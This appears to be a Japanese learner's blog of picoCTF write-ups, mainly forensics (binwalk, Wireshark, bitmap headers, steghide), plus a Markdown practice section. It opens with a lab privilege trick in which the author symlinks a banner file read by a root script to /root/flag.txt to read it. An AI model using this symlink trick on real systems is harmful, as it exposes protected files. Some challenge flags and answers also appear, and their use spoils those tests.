-rw-r--r-- 1 root root 1317 Feb  7 17:25 script.py

rootにしか権限がない。

player@challenge:/root$ cat script.py
cat script.py

import os
import pty

incorrect_ans_reply = "Lol, good try, try again and good luck\n"

if __name__ == "__main__":
    try:
      with open("/home/player/banner", "r") as f:
        print(f.read())
    except:
      print("*********************************************")
      print("***************DEFAULT BANNER****************")
      print("*Please supply banner in /home/player/banner*")
      print("*********************************************")

try:
    request = input("what is the password? \n").upper()
    while request:
        if request == 'MY_PASSW@RD_@1234':
            text = input("What is the top cyber security conference in the world?\n").upper()
            if text == 'DEFCON' or text == 'DEF CON':
                output = input(
                    "the first hacker ever was known for phreaking(making free phone calls), who was it?\n").upper()
                if output == 'JOHN DRAPER' or output == 'JOHN THOMAS DRAPER' or output == 'JOHN' or output== 'DRAPER':
                    scmd = 'su - player'
                    pty.spawn(scmd.split(' '))

                else:
                    print(incorrect_ans_reply)
            else:
                print(incorrect_ans_reply)
        else:
            print(incorrect_ans_reply)
            break

except:
    KeyboardInterrupt

もう一つにはこんな感じのプログラムが動いていたようだ。さて、どうすればrootに入れるか。ポイントはもう一つのポートにアクセスしたときのsshである。
sshd_configを見てみると#PermitRootLogin prohibit-passwordとなっている。これはログインできないのではないだろうか?sshが何かしらのキーになっているようだが、わからん。
hintsにはsymlinksを知っているかと出てきた。調べてみる。

symlinks (Linux シンボリックリンクのチュートリアル: シンボリックリンクの作成・解除方法)を参考にした。ショートカットキーに似ているようだ。

ふと思ったのは、/home/player/bannerを読み込んで表示する。このbannerがsymlinksで/root/flag.txtに紐づけされていたら表示されるのだろうか?やってみる。 この方法でできた。ハードリンクはできないがソフトリンクは権限がなくても作れるようだ。

player@challenge:~$ ls
ls
banner  text
player@challenge:~$ mv banner banner2
mv banner banner2
player@challenge:~$ ls
ls
banner2  text
player@challenge:~$ ln /root/flag.txt banner
ln /root/flag.txt banner
ln: failed to create hard link 'banner' => '/root/flag.txt': Operation not permitted
player@challenge:~$ ln -s /root/flag.txt banner
ln -s /root/flag.txt banner
player@challenge:~$ ls
ls
banner  banner2  text

ということで、bannerが作れたのでアクセスするとflagが表示された。終了。

これより下は未解決

Permissions

Can you read files in the root file?ということで、ルート権限のファイルを読む方法を見つけるようだ。 homeディレクトリにはそれらしきものは見当たらない。一番上まで行ってみるが怪しいものはない。
WriteUp見るーーーーーーーーーーーーーーーーーーーーーーー (picoCTF 2023 Writeup) cronの時の配置と同じでchallengeというディレクトリの怪しさに気づかなかった。確かにここは怪しい。

picoplayer@challenge:/$ cd challenge/
-bash: cd: challenge/: Permission denied

はにゃ?WriteUpではここはすんなり入っていたのに。ここが問題なのだろうか。root権限がないとか入れないのだろうか。

picoplayer@challenge:/$ ls -al
total 0
drwxr-xr-x    1 root   root     51 Jan 22 03:56 .
drwxr-xr-x    1 root   root     51 Jan 22 03:56 ..
-rwxr-xr-x    1 root   root      0 Jan 22 03:56 .dockerenv
lrwxrwxrwx    1 root   root      7 Mar  8  2023 bin -> usr/bin
drwxr-xr-x    2 root   root      6 Apr 15  2020 boot
d---------    1 root   root     27 Aug  4 21:32 challenge
drwxr-xr-x    5 root   root    340 Jan 22 03:56 dev
drwxr-xr-x    1 root   root     66 Jan 22 03:56 etc
drwxr-xr-x    1 root   root     24 Aug  4 21:32 home
lrwxrwxrwx    1 root   root      7 Mar  8  2023 lib -> usr/lib
lrwxrwxrwx    1 root   root      9 Mar  8  2023 lib32 -> usr/lib32
lrwxrwxrwx    1 root   root      9 Mar  8  2023 lib64 -> usr/lib64
lrwxrwxrwx    1 root   root     10 Mar  8  2023 libx32 -> usr/libx32
drwxr-xr-x    2 root   root      6 Mar  8  2023 media
drwxr-xr-x    2 root   root      6 Mar  8  2023 mnt
drwxr-xr-x    2 root   root      6 Mar  8  2023 opt
dr-xr-xr-x 2528 nobody nogroup   0 Jan 22 03:56 proc
drwx------    1 root   root     23 Aug  4 21:32 root
drwxr-xr-x    1 root   root     54 Jan 22 03:57 run
lrwxrwxrwx    1 root   root      8 Mar  8  2023 sbin -> usr/sbin
drwxr-xr-x    2 root   root      6 Mar  8  2023 srv
dr-xr-xr-x   13 nobody nogroup   0 Jan 22 03:56 sys
drwxrwxrwt    1 root   root      6 Aug  4 21:32 tmp
drwxr-xr-x    1 root   root     18 Mar  8  2023 usr
drwxr-xr-x    1 root   root     17 Mar  8  2023 var

ん?でも、challengeディレクトリのpermissionだれもいじれないように思う。
わからんので誰か教えてw

Markdown練習用

Markdown

いろいろ試していくところ。公開する意味は特にないですが、素人のお戯れを楽しんでいただければと思います。 日ごろ他の記事を見ているときに気になったものをリストアップして、それを調べていくスタイルです。

色をつけたい

続きを読むみたいなの

開く閉じるの作り方。

展開 なんにもないよ
展開 なんにもないよ

URL 

link {:target="_blank"}
リンク 上の書き方ではうまくできない。はてなブログにはmarkdownでできないこともあるということかもしれない。

PicoCTFのらいとあっぷみたいなやつ。(forensicの旅)

はじめに

picoCTFに取り組んで行くときの考えていたことを書き記す。writeupというより、解いた道筋を書いていますので、最短距離を知りたい人にとっては意味わからないものかもしれません。ご了承ください。begginerのお戯れと思って暖かく見守っていただければ幸いです。フォレンジックをメインにやっていこおうと思っています。

開閉

Matryoshka doll

 画像を渡された。そこからFlagを探しに行く問題。
まず初手filestringsで情報を探しに行く。しかし、PNG imageという情報くらいしか把握できなかった。(もしかしたらほかにも得れたのかな?)
そこで、ctfで画像を渡された時の対処法を探したとき、exiftool, binwalkがあることを知った。(Forensics入門(CTF) - Qiita)。
binwalkの結果を見るとzipデータが埋め込まれていることが分かった。

 中に埋め込まれたものを抽出するために-eオプションを利用する。安全性の警告から、root権限で実行してとのことだったので--run-as=rootをつけて実行(安全性が保証されない画像に対しては仮想環境下で行うのが安全だと思われる)。そうするとzipからbase_imageとzipファイルが抽出できた。base_imageにある画像に対して同じコマンドを実行していくとflag.txtが見つけられるので、catしてflagゲット。

考察 画像にファイル等を埋め込むことができ、ここに悪意のあるのもを埋め込むことで攻撃につながっていくのだと思う。

tunn3l_v1s10n

 渡されたファイルからflagを復元する問題だろうか。
まずは初手file、dataタイプ。これでtextやexecutableではないことがわかった。定石はバイナリファイルか表示不可能なファイルだそうだ。次にstirngsコマンド。大量に流れた。初めの10行を出力のようにしてみていく。100行まで見たが可読できそうにない。バイナリファイルとにらんで処理していく。hexdumpで文字列にしていく。上から200行を出力したが、あまり有力なのがない(たぶんヒントあるんですよね)。
 ここでお手上げwriteup見てお勉強。(picoCTF 2021 tunn3l v1s10n Writeup - Qiita,picoCTF 2021 Writeup うさみみハリケーンで解いてみた )  hexdumpの最初に情報があったらしい。BM。bitmapというものらしい。画像データの中にflagに関する情報が含まれているように考えられる。パレットデータをいじる意味もあまりなさそうと考えるとファイルヘッダと情報ヘッダにアプローチするのが良いと考えられる。赤い枠がファイルヘッダ、緑が情報ヘッダ(40byteと仮定している)である。
 まずファイルヘッダ。42,4dはBM(※ファイルタイプはリトルエンディアンじゃない!) 002c268eがファイルサイズ。予約域はどちらも0。0000d0ba(53434)はファイル先頭から画像データまでのオフセット。 オフセットは大きい可能性がある。情報ヘッダが可変であるのでそれに応じて大きくなる。以上のところでは問題なさそう。

知識(バイナリ, ビットマップ, オフセット, リトルエンディアン)
バイナリ バイナリエディタが利用されていたのでバイナリエディタ関連を述べる。 出力 hexdump以外に、xxdというコマンドでもバイナリ(16進)、ASCIIが出力される。 編集 hexeditor ファイル名で表示と編集ができる。 vi -b ファイル名でvim上で編集可能。ダンプ形式に変更するなら:%!xxd。 編集後に保存するなら:%!xxd -r 実行後:wqで保存。 バイナリファイルの編集方法 - Qiita
ビットマップ 画像や文字データの形式はビットマップ画像とベクタ画像がある。 https://wa3.i-3-i.info/word1653.html ビットマップのデータ構造の話をしましょう。 bitmapファイルはファイルヘッダ(14byte)、情報ヘッダ(40byte)(←bitmapの種類で変わる。)、パレットデータ(情報ヘッダのパレット数で変化する4byteずつ変化)、画像データ(任意)の4つの部分から構成されている。 【バイナリファイル入門】Bitmapファイルを手書きで作って遊んでみる - Qiita このサイトめちゃくちゃわかりやすかった
オフセット ある基準からの距離で表した位置。 https://wa3.i-3-i.info/word11923.html
リトルエンディアン バイト列の並べ方。一番最後のものから並べていく方式。 https://wa3.i-3-i.info/word11428.html


 次に情報ヘッダ。0000d0ba(53434)は情報ヘッダサイズ。ここがおかしいらしい。情報ヘッダサイズはオフセットより0xEだけ小さくないと画像データ開始位置がおかしいことになる。今の状態はあまりにも大きい。情報ヘッダを40と仮定しているので0x28として保存。何かしらの画像が見えた。notaflagなので何かが違う。おかしそうなところを考えていく。

  • ファイルサイズ:ls -lで確認したが、一致している。(2893454byte)
  • offset:異なっていたのでファイルサイズから画像データサイズを引いた54(0x36)にしてみる。きれいになったがnotaflag。
  • 縦横と解像度の縦横:解像度が正方形に対して縦が短い。

 計算して適切な縦サイズを求めていく。 画像サイズ = 縦サイズ×横サイズ×1ピクセルあたりのカラーbyteである。 情報ヘッダから1ピクセルあたり0x18(24)bit使っている。つまり、1ピクセル3byteサイズにかかっている(ビットマップ画像のデータ量 )。 画像データサイズはファイルサイズ内にあり、画像もきれいなので異常なしと判断。
今のサイズで計算すると、1134×306×3=1,041,012となり、画像サイズより小さい。 小さい分を縦サイズで調整する。縦サイズを0x352として実行。 成功!

参考  画像のヘッダ情報による変化や拡張子のないことによる判定の難しさを知った。ヘッダ上の縦と横のサイズをいじると見え方が変わることによって、メモリ上に載せることのできる範囲が変わるのならば、画像に悪意のコードを載せて、攻撃の際に画像を加工することで実行させるような攻撃につながるように考察できる。

Glory of the Garden

 画像データが渡された。多くの情報が含まれていて、その中にflagがあるようだ。 初手file JPEGデータであるのは拡張子からもわかる。他はあまりわからない。もしかしたら重要な情報あるかも。
次にstringsコマンド

知識(JFIF)
JFIF .jfifとは、JPEG形式の画像データを「ファイル」として保存するときに利用される拡張子です。

 ちなみにstringsコマンドを全部出力すると最後の方にflagがあった(こんなにあっけなくてよいものか)。もう少しコマンドを実行してwriteupを探す。
次はbinwalkで埋め込みないかを確認。 なにやら埋め込まれていそう。 著作権表示が埋め込まれている。透かしのようなものだろうか。  

考察 よくわからなった。stringsやbinaryを見たらすぐに見つかる。他の意図がありそう。
 

Wireshark doo dooo do doo...

Can you find the flag? とともにpcapngファイルが与えられている。

知識(wireshark, pcapng)
wireshark Wiresharkは、LAN上に流れているパケットを「見える化」するパケットキャプチャツールです。wireshark以外にtcpdump(WinDump)なるものでもできるようだ。様々なAPIで構成されており、cで実装されている。 Wiresharkの使い方~Wiresharkで「TCP/IP」モデルをのぞき見る~ | ハートランド・ザ・ワールド (hldc.co.jp)
pcapng パケットの見えるかで見えるようになったもののファイル形式の一つであるようだ。 pcapファイルはPCAP Header(24byte)とPaket Header(16byte)と Raw Packet(任意)で構成される。それぞれのヘッダー内にもまたいくつもの決まった情報が格納されている。 次にpcapngはpcapより機能的になったそうです。セクションで構成で構成されている。またそのセクションはブロックというもので構成されているようだ。 PcapとPcapNGのフォーマットの違いを詳しく調査する! | MasaのITC Life (wireless-network.net)

 さて、今回はpcapngの解析ということで、まずwiresharkを使いたいと思う。 初めて触れるのでわくわく。通信をクリックするとその時のやり取りを見れるようになっている!すごい!つまり、この通信ログ内からflagのやり取りを見つけ出し、それを見に行くことが求められていると考えられる。987個ものログがあるので片っ端から見ていくのは効率が悪い。何かしらのヒント探そう。

  • 色:ログごとに色が違う。灰色や赤、黄、黒がある。
  • source:基本は第4オクテットが103,104がやり取りしているようだ。途中から105,254もある。

序盤(1~756)は103と104が通信を行っている。tcp,http。 ここから色やsourceが変わっていく。いったん仕様や、用語を調べてみる。  

知識(wirshark色規則, プロトコル, HTTP, TCP)

wirshark色規則 どうやら、表示→色付けルールで設定されたルールを確認できる模様。 基本はプロトコルで分けられているようだがBad TCPを見るとやり取りによって色分けされている感じかな?Bad TCPめちゃくちゃ気になる。 【Wireshark】色付けルール&パケット解析の見方 - (O+P)ut (mtioutput.com)
プロトコル 通信を行う上での約束事。通信を行う際はこれが必要。 https://wa3.i-3-i.info/word11.html
HTTP 通信プロトコルの一つ。webブラウザとwebサーバーとのプロトコル。ホームページのファイル受け渡しに使う。 https://wa3.i-3-i.info/word165.html
TCP 通信プロトコルの一つ。安全性重視。つまり、データがきちんと届くことを確認しながら通信する。欠点はスピードが遅い。TCPと対比されるのがUDP https://wa3.i-3-i.info/word19.html

 757で灰色が出てきた。TCP SYN/FIN。つまり、通信の開始か終了の申請みたいなのがこの通信で行われているのかな。Infoに[FIN,ACK]とあるので、相手のFINに応え、こっちも閉じると通信している。でも、FINが送られていないような。よく見たら先までいなかった105にいきなり104がFIN、ACKを送ったようだ。  

知識(TCP通信のコントロールフラグ, TLS)

TCP通信のコントロールフラグ 終了や強制遮断などのフラグを表している。 【初心者わかりやすく】TCP通信の確立と終了シーケンス | hirota.noの技術ブログ〜 It's all over the network. (hirotanoblog.com)
TLS 通信を暗号化して送受信する方法。SSLを標準化したものがTLS 基礎知識 SSL/TLSの仕組み (soumu.go.jp)
   そして、105が104にTLS通信とTCP通信が行われたのちに、[RST,ACK]が104から105に送られている。これがコネクトの強制遮断となり、ログが赤色になっている。そのあとは104から105に[SYN]が送られTCP通信が行われるようだ。しばらく105と104の間でTCPTLS通信が交わされて、774から104と103のHTTPとTCP通信が再開された。そして、ブロードキャストを挟んで104と134がTCP,HTTP通信をし始めたところまた、105にいきなり104がFIN、ACKを送った。先のような展開がまた繰り広げられて。853,855でBad TCPが104から105に送られる。そして、また、先のような展開が起こっているようだ。
 ここから、104はある一定の通信を行うと105と異様な通信を行い始めるものなのではないかと考えた。そこで、4回ある異様な104と105の通信の開始位置前の104との通信を見ることで何かわかると考えた。
 ・1回目  No.757で灰色になっている。その2個前のログで103→104にHTTPを送っている。 encryptになっているので中身を見ても情報なし。
  ・2回目 No.829。その2個前では134→104にHTTP通信がある。text/htmlが送られている。そして、下の方にLine-based text data: text/htmlに暗号化された、どこかの問題でflagになっていたような文字列を発見。要注意。 Gur synt vf cvpbPGS{c33xno00_1_f33_h_qrnqorrs}
  ・3回目 No.936。2個前は103→104へのHTTP通信。1回目と同じ。
 ・4回目 No.966。2個前は254→104へのHTTP通信。text/plainを送っている。平文なのでflagがそのままありそうと期待。Line-based text data: text/plainがnoneになっている。何もえれないようだ。こうなると怪しい2回目を探っていく。
 結論から言いますと何もわからなかった。HTTPを追跡してみたが、暗号方式などは記述されていなかった。writeupを見たところ、rot13を使用しているとのこと。理由を記述してあるサイトがなく、経験則からわかるものなのかどうなのか知りたい。HTTPの仕様なのだろうか。
考察 通信ログの解析を行った。実際GUIの見やすさがすごいと感じた。CUIとは適材適所な気がします。怪しい通信ログもこのように仕分けるのだと実践的に学べた。キャプチャをずっとしておくと、事後対応にも活かせるのだろうか?でも容量が足りなくなりそう。そこんところ調べていこうと思います。wireshark楽しい。
  

MacroHard WeakEdge

I've hidden a flag in this file. Can you find it?という言葉とともにpptmファイルが与えられている。まずは初手filestrigsコマンドで情報収集。  

 fileコマンドではpowerPointだよと言っているがstringsではxmlと言っている。パワポ拡張子だけど記述方法がxmlということ?それとも拡張子が変更されているのだろうか?
 stringsコマンドの出力を見ていると階層構造の記述が多々見受けられる。
・ppt/presentation.xml
・ppt/slides/rels/slide46.xml.rels
・ppt/slides/slide1.xml~ppt/slides/slide58.xml
・ppt/slides/
rels/slide1.xml.rels~ppt/slides/_rels/slide58.xml.rels(順番バラバラ)
(もっとあるのですがこのくらいに。) 途中で[Content_Types].xmlPKという記述もある。調べてもそこまで情報なし。なにかあるかもとbinwalkするとZip archive dataがいっぱい、処理しきれないのでいったん放置。
 ここでpptmファイルが渡された時のctfの定石を探しにggる。以下のようなサイトあり(パワポに埋められた文字を探せ CTF pptx - Qiita)。つまり、flagが図形などで隠されているかつ、動かすことができないような仕様になっている。今回の問題もこのような仕様になっている可能性はある。
 その前にいつも自分が利用しているパワポの拡張子はpptxということに気づく。pptmとpptxの違いってあるのか?  

知識(pptmとpptxの違い)

pptmとpptxの違い ちょうどこの疑問に答えてくれそうなサイトあり。pptmはマクロ付きパワポファイルにつくようだ。pptxではマクロは保存できないようだ。マクロを実行せずに開くためにはPowerPiont Viewerを用いるとよい。 pptmとはどんな拡張子? わかりやすく解説 Weblio辞書 https://wa3.i-3-i.info/word11545.html
という感じらしい。ダブルクリックで開かないのは正解だった(マクロの可能性あったから)。 正常なパワポstringsコマンド結果も知りたいので講義パワポであるpptxファイルをstringsbinwalkしてみる。
.xmlとなっている。つまり、パワポxml形式で記述されているのが正常であるようだ。初耳学。以降の実行結果を見ると階層構造になっている。これもパワポなら当たり前のようだ。次にbinwalk。これもZip archive dataがたくさんある。つまり、今までいろいろ悩んできたが怪しいとこはあまりない。
 とりあえずパワポに埋められたものを見ていくため、記事にあるようにpptmファイルをunzipしてみる。 様々なフォルダやファイルが出てきた。すげー。(PowerPointのpptxはzipだった!? - スライドから画像・動画等を取り出す方法 - roombaの日記 (hatenablog.com))というようなサイトもあるようにパワポ資料をunzipできるのは知られているようだ。初耳学。ここから、flagを含んだファイルを探していく。grep picoCTF* -rl .と実行すると現在のディレクトリ内にpicoで始まる文字列を含んだファイルとフォルダを検索してくれる。-rlがフォルダ内も探してくれるオプションのようだ。hitなし。予想外。
 お手上げ。WriteUp(picoCTF2021 [Forengics] writeup - 好奇心の足跡 (kusuwada.com))を見たところflagが変換されているようだ。失念していた。簡単に手に入ると思い込んでいた。では、怪しいファイルやフォルダを探すのが大切。  

知識(findとgrepコマンド)

findとgrepコマンド findはファイルの名前からファイルを検索してくれる。 grepは検索対象のファイルから指定した文字列を含む行を表示する。 検索でも使い方が違うので注意。
 よってfindで怪しいファイルを探す。find -name "*hid*"コマンドで検索 一件ヒット(writeup読んだからこのコマンドが打てました。経験値って大切)ヒットしたファイルのcatは以下のようになっている。 "Z m x h Z z o g c G l j b 0 N U R n t E M W R f d V 9 r b j B 3 X 3 B w d H N f c l 9 6 M X A 1 f Q"。 このヒットしたファイルはASCII textであるらしい。よって文字コードの変換で難読化されていると考えた。スペースは邪魔なので消す。 ZmxhZzogcGljb0NURntEMWRfdV9rbjB3X3BwdHNfcl96MXA1fQ これがbase64に見えるらしい。わからん。

知識(エンコード, デコード)
エンコード、デコード データをほかの形式に変換することがエンコード。それを戻すのがデコードである。この時、データは何か定めていない。何かしらのデータを何かしらに変換することがエンコードのように思う。(例)URLエンコード、文字エンコード https://wa3.i-3-i.info/diff397data.html https://wa3.i-3-i.info/word135.html

今回は何かしらの文字がエンコードされている可能性が高い。

知識(文字コード, 文字エンコード)
文字コード、文字エンコード コンピュータは0,1しか認識できない。つまり、数字を扱っている。 よって「あ」という文字を何かしらの数字として認識している。 その数値のことを文字コードという。 文字コードは複数種類存在していることから、正しく文字コードを指定しなければ正しく読むことができない。 また、その「文字」と「数値」を対応させている表のようなものがある。 その表のことを「文字エンコード」と考えるとわかりやすい。 そして、表は一つではなく複数の種類存在している(そりゃ、文字コードが複数あるからね。)。その表を切り替えることを文字エンコードと呼ぶこともある。 例えば、0101010というものも文字エンコードするものによっては異なるものになる。 https://wa3.i-3-i.info/word1894.html https://step-learn.com/article/fundamental/001-char-encoding.html

 ここで、base64が使用されているかを知るのはそんな感じがするからなのかなぁ。CTFでは定石っぽい。base64デコードするとフラグゲット。

考察 パワポファイルからflagを探すことを行った。unzipできることを初めて知った。また、flagがそのまま書かれているというのは確率低いのが当たり前と思った方がよさそう。難読化、暗号化されているのが当たり前。不自然なファイルやフォルダを探すことというのはマルウェアを特定するときにも大切な考え方だと思おう。素直な攻撃者はいない。

Trivial Flag Transfer Protocol

 Figure out how they moved the flag.という言葉とともに、pcapngファイルが渡される。wirewharkを使って開いてみる。以前に扱った問題と異なり、色によるおかしなログはなさそう。添えられている言葉からして、flagを隠しながら通信をやっていたということだろうか。 ログ数は10万を超えているので適当に見ていけない。今回使用されているプロトコルARP,SSDP,TFTPの3種類。  

 では、ざっくり見ていこう。

  • まずinstructions.txtを11から12へwriterequest送っている。そして。11から12へデータパケット送信。VMwareでのwho11,12をお互いにする。
  • 次に11から12へplanのreadrequestを送っている。
  • エラー。そのやり取りをもう一回。
  • そのごSSDP(11と12ではない)したのちまたwho12に。SSDPの途中に割り込んでいるような感じ。
  • また、11~12へplanのreadrequestを送る。12から11へデータパケット行く。acknowleredge
  • その後、11から12へprogram.debのreadrequestを送る。(送ると記述しているが正しくはread requestだった。つまり、データを要求するのが11、データを渡すのが12のような感じ)
知識(debフォーマット)
debフォーマット Linuxディストリビューションで利用されるバイナリのパッケージ。つまり、このパッケージの中に使用するコマンドのファイルのようなものが詰まっているということですかね?
  • ここから、12が11へデータパケットブロックを送る。それをacknowledgeするを271回繰り返す。その間に一回who11のやり取りを行っている。
  • 次に、11~12へpicture1.bmpのreadrequestを送っている。また、パケット送ると認証が1611回繰り返される。
  • 次に、11~12へpicture2.bmpのreadrequestを送っている。また、パケット送ると認証が71443回繰り返される。
  • who12をはさんで11~12へpicture3.bmpのreadrequestを送っている。また、パケット送ると認証が2865回繰り返される。
  • ここで、309に色が違うような。

方針:bmp画像を作ってその中にflagある可能性。
理由:ブロック1にヘッダ情報とみられるBMも文字確認。コピペしていけば一応作れる?
送受信したファイル:instructions.txt, plan, program.deb, picture1.bmp, picture2.bmp, picture3.bmpの6個がやり取りされている。この中身にデータあるとにらんでいます。
[2023/08/08]

おはようございます。 では続きということですが、なんともすんともできない。 writeup(picoCTF2021 [Forengics] writeup - 好奇心の足跡 (kusuwada.com))を読んでお勉強。 まず、どのようなものがTFTPでやり取りされているかfile→export object→ TFTP...から見ることができるらしい。へー。

 writeUpではdebを解析する動きをしている。debってもしかして思っている以上に情報が詰まってるのかも。もう一度調べる。 え、待って!どうやってこのファイルとか抽出するの?って思ってたら、先の見ているウィンドウのすべて保存で全部抽出することができるぞ!すっご!前日まですべてのパケット除いてコピペしていくのかと思って絶望してたんです!
 debファイルってどう扱えばいいかわからなかったけど、展開(https://urashita.com/archives/28834#Debian-3)や扱い方 (https://eng-entrance.com/linux-package-dpkg)を参考にできそう。今回は展開をしてみたいので展開していく。

知識(アーカイブ)
アーカイブ 保存しておきたいデータを圧縮して保存しておくこと。 アーカイブとは | クラウド・データセンター用語集/IDCフロンティア (idcf.jp)

 よってdebファイルはアーカイブされた圧縮ライブラリといった感じのもの。なので、アーカイブを展開して、その中の圧縮されたものも展開する作業が入る。 ar vx &lt;debファイル&gt;で展開できる。(https://linuxcommand.net/ar/#x) tarも同じくアーカイブを展開するコマンド。圧縮のされ方に応じてコマンドも変えるのかな。(tar/zipコマンドで解凍・圧縮一覧まとめ(gz、zip、tar.xzなど) (uguisu.skr.jp))gz,xzがあったがそれぞれ異なるようだ。こうして圧縮されたものを展開したところ。controlや展開後の階層からこのパッケージはstrghideであると考えられる。

知識(strghide)
strghide ステガノグラフィーという技術で画像や音声ファイルに情報を埋め込んだり、抽出することができる。 魔術師見習いのノート (pied-piper.net)

 これを用いて与えられたbitmapからflagを抽出すればよいのか? 他のファイルであるplanとinstructions.txtを見てからにする。全部英語で意味のある文にはなっていない。暗号化か難読化処理されているように思う。 経験してきたのはROT13かbase64。webツールで変更してみる(ROT13暗号 暗号化 / 復号化 Online - DenCode)。ROT13があたりっぽい。wiresharkにもROT13で表示する機能を見るとよく使用される手段のように思う。可読文字に直すことができた。

  • instructions.txtでは、TFTPは暗号する機能がないのでflagを隠ぺいする方法を探している様子。
  • planは何かのプログラムを使ったようだ。写真を確認とある。

 では、写真から情報を収集しにいく。steghide extract -sf picture1.bmpとすると パスフレーズを聞かれる。これは1,2,3どれでもそのようだ。パスフレーズなんてあったっけ?planかinstructionが怪しいよね。調べるとplanの中の1単語がpathpraseになっているようだ。気づけないなぁ。ひらめきも大切なようだ。これで3の方からflag.txtを手に入れることができた。(with ~という言葉が見つけられるっぽい。ヒントを見逃さないことが大切)  

考察 wiresharkの使い方はまだまだいろいろ知ることが多そうだと感じた。また、writeupに少々頼りすぎている節がある。すぐに見るのではなく、技術を探すことをもう少し取り組む。画像の情報を隠す方法の新しいものを見たように思う。ヘッダ情報をいじる以外の方法を知ることができた。活かす。

ここから方針を変えてsolvesが1万人以上いる問題から解いていこうと思います。

Enhance!

Download this image file and find the flag.という言葉とともにsvg形式の何かがダウンロードされた。なんやこれ。
 初手、file,stringsで中身を見ていく。 stringsでは作られ方のようなプログラミングされたものが出てきた。bitmapとは構造が違うことがよくわかる。 コードを眺めているが、図形のわりにコードが長いような気がする。もしかしたら、図形で隠されている可能性があるのかも。ずらしたり消したりするのが有効かもしれないと考えています。svgの書き方について調べてトライ。

知識(svg)
svg 前、bitmapで扱ったときに調べた時に画像には2種類あると書いてあった。bitmapと、違う種類の1だと思う。点で表すのではなく。ベクトルで表すもの。 【超入門】SVGファイルって何?特徴と変換方法まとめ - RAKUS Developers Blog | ラクス エンジニアブログ

 調べたところtextの欄に書かれているものが表示されていないように思った。ここにflagあると考えた。パッと見てもp,i,c,o,C,T,Fという文字が浮かび上がている。不必要なとこを省いて出てきた。終了。でも表示はできない。何とかしてもいいかも。

考察 初めて触る構造とかだとやはりわかりにくいと感じた。今回難読化されていたらもっと時間はかかっていたと思う。

Lookey here

Attackers have hidden information in a very large mass of data in the past, maybe they are still doing it. Download the dataという言葉とともにtxtファイルが渡されている。 こういう時は初手file,stringsstringsは大きくなりそうなのでまずは初めの100行だけ。 ということでUNICODEのテキストファイルで何かしら可読文字がかかれているようだ。この中からflagを探す。さすがに読んでみても意味なさそう。grepみたいなコマンドで探すのがいいかも。  grep pico* anthem.flag.txtでビンゴ。

考察 大きいファイルということでできることが狭くなったような気もする。
 

Packets Primer

Download the packet capture file and use packet analysis software to find the flag.という言葉とともにpcapngファイルが渡された。9行しかないので激ムズと思ったがポチポチしてたらそれっぽいデータがあったのでおしまい。

[2023/08/09]

Redaction gone wrong

Now you DON’T see me. This report has some critical data in it, some of which have been redacted correctly, while some were not. Can you find an important key that was not redacted properly?という言葉とともにPDFファイルが渡された。flagが隠されているようだ。
安定の初手file,stringsコマンド。 PDFファイルということしかわからなさそう。文字列として簡単に抽出はできない。 実際に見てみる。 つまり、黒塗りされた下の部分にflagがあるのかな。もしかして、パワポみたいにunzipすることはできないかと考え、binwalkで埋め込まれたなにかがないかを探る。 ありそう。よし、抽出しよう!binwalk -e Financial_Report_for_ABC_Labs.pdf --run-as=root 2つのファイルとそれらの.zlibファイルが手に入った。818Eと879C。879Cは文字化けしている感じ。 展開すると0というファイル。おなじ文字化け。818Eの展開では0と60Eが手に入る。0を展開すると再び0と60E。60Eを展開すると0が出てくる。そして。60Eとそこから出てくる0は879Cと同じであるが818Eとそれから得られる0は何か書かれている。しかし、有力な手無し。
writeupを見てお勉強。(picoCTFのなんちゃってwrite_up - 日記)。黒塗り部分も選択できるようだ。なんてこった。選択したらできますね。

考察 深読みしすぎた。技術に頼りすぎて遠回りをしてしまったように思う。パワポでも図形を動かすことができるならunzipする必要もない時があるかもしれない。様々な技術を知って、最短で見つけられるようになりたいと思いました。

So Meta

Find the flag in this picture.という言葉とともに画像ファイルを渡された。初手file,stringsコマンド。 stringsコマンドの後ろにflagあり。終了。

知識(exiftool)

画像データにはメタデータという情報が格納された領域があるようだ。それを調べても出てくる。

考察 画像データや音声データにはヘッダーや今回のようにメタデータを格納している領域が存在している。そこの確認を行うのも情報を得るという点でよいと思います。

[2023/08/11]

shark on wire 1

We found this packet capture. Recover the flag.という言葉とともにpcapngファイルが渡された。 まずは文字列検索でpicoCTFから始まるものを探してみる。 ctrl+fで文字列入力にして、picoで検索。 No.55でUpicoという文字列がUDP payloadで送られている。 他のUDPで送られているDataのところを確認すると10.0.0.2から10.0.0.13に送られているデータを集めるとp,i,c,o,C,T,Fになっているので、表示フィルタをip.src ==10.0.0.2 and ip.dst == 10.0.0.13として検索 集めていくとpicoCTF{N0t_a_fLag}。ん?not a flag?案の定違っていた。だまされた感じですね。 10.0.0.2から13以外に送られているものを探してみる。12が似ている。 ip.src ==10.0.0.2 and ip.dst == 10.0.0.12で検索してDataの文字を集めるとビンゴ。

考察 実際picoと調べてその周辺を調べてたらそれっぽいのがあったので良かったが、本来だったらp,i,c,oと分けて検索した方が良い時もありそう。一回でflagをやり取りせず、分けて送信することでflagをわかりにくする方法を知った。

extensions

This is a really weird text file TXT? Can you find the flag?という言葉とともにflag.txtというファイルを渡された。 初手file,stringsコマンドで情報収集していこうと思う。
これはつまり、拡張子はtxtとなっているが実際はpng形式のデータなのではないだろうか。 拡張子を.pngに変更する。mv flag.txt flag.pngとして、画像を見るとflagが描かれている。終了

考察 extensionsが拡張子という意味のようで、拡張子に注目させたかったようだ。

What Lies Within

There's something in the building. Can you retrieve the flag?という言葉とともにpng形式のファイルを渡された。 png画像なのでまず見てみましょう。建物の画像。binwalkで埋め込まれているかを確認、ステガノグラフィーによる埋め込みの可能性もある。 展開していったが有力なデータは見当たらなかった。 (PNGを読む #Go - Qiita) そもそもpng画像にはzlibが埋め込まれているようだ。 次にステガノグラフィーを疑っていこう。

[2023/08/12]

以前扱ったものを試してみる。
しかし、サポートしてない。埋め込まれていないってこと? ギブアップ。writeup見てみる。 (picoCTF-2019-writeup/Forensics/What Lies Within/README.md at master · kevinjycui/picoCTF-2019-writeup · GitHub) オンラインで調べる方法があるようだ。実際にデコードしてみると手に入った。ステガノグラフィーは複数の方法があるようだ。

考察 方針は間違っていなかったが、ステガノグラフィーは予想以上に奥が深そうに感じた。時間があるときに調べたいと思います。

 また、ここで一万以上のsolvesは解いた。以降は一万以下のsolvesをsolvesが高いものから解いていきたいと思います。

[2023/08/13]

Sleuthkit Intro

Download the disk image and use mmls on it to find the size of the Linux partition. Connect to the remote checker service to check your answer and get the flag. Note: if you are using the webshell, download and extract the disk image into /tmp not your home directory.

  • Download disk image
